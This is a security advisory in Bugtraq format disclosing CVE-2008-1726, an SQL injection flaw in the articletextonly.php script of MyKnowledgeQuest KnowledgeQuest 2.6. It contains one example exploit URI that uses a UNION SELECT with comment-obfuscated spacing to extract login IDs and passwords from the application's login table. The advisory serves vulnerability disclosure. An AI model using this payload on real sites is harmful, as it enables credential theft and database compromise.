MyKnowledgeQuest KnowledgeQuest 'articletextonly.php' Script SQL Injection Vulnerability

Bugtraq ID:	28716
Class:	Input Validation Error
CVE:	CVE-2008-1726
Remote:	Yes
Local:	No
Published:	Apr 09 2008 12:00AM
Updated:	May 07 2015 05:30PM
Credit:	Virangar Security Team
Vulnerable:	MyKnowledgeQuest KnowledgeQuest 2.6
Not Vulnerable:

MyKnowledgeQuest KnowledgeQuest 'articletextonly.php' Script SQL Injection Vulnerability

MyKnowledgeQuest KnowledgeQuest is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

KnowledgeQuest 2.6 is vulnerable; other versions may also be affected.

MyKnowledgeQuest KnowledgeQuest 'articletextonly.php' Script SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/[patch]/articletextonly.php?kqid=-9999/**/union/**/select/**/1,2,3,loginid,password,6,7,8,9,10,11/**/from/**/login/*

MyKnowledgeQuest KnowledgeQuest 'articletextonly.php' Script SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

MyKnowledgeQuest KnowledgeQuest 'articletextonly.php' Script SQL Injection Vulnerability

References:

• KnowledgeQuest Homepage (MyKnowledgeQuest)